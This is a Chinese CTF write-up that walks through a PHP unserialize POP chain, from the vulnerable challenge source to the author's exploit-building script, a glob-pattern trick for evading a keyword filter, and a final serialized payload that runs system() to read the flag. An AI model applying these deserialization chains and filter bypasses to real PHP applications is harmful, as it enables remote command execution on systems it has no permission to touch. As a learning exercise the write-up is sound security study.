这是网页源码,大概看了一下是反序列化,传入参数data
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'welcome';
public function __construct(){
$this->name = 'Wh0 4m I?';
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){
echo $this->arg;
}
}
}
class G00d{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
}
class H4ck3r{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
if(isset($_GET['data']))
unserialize($_GET['data']);
else
highlight_file(__FILE__);
?>
PHP反序列化POP链,大家可以参考下面这位博主,讲的很详细,还有例子
https://blog.csdn.net/qq_51295677/article/details/123425199?spm=1001.2014.3001.5506
可以的到pop链是这样的:
然后写出PHP脚本是这样的:
<?php
class welcome
{
public $name='A_G00d_H4ck3r';
}
class G00d
{
public $cmd='dir /';
public $shell='system';
}
class H4ck3r
{
public $func;
}
$a=new welcome();
$b=new G00d();
$c=new H4ck3r();
$a->arg = $c;
$c->func = $b;
$x = serialize($a);
print_r($x);
?>
看源码的这部分,是会对输入进行正则匹配过滤,所以用了$cmd=dir /查看目录(菜鸡博主做题时没想到,结束后看别人的才知道)
if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
得到目录如图:
那flag自然在f1ag里啦,更改cmd命令为:more /[b-z]1[@-z][b-z] 可绕过检测
关于CTF下的命令执行,绕过方法可以参考这篇博客,写的好棒
https://www.codenong.com/cs105422347/
最后,payload为:
O:7:"welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:3:"cmd";s:22:"more /[b-z]1[@-z][b-z]";s:5:"shell";s:6:"system";}}}
结果: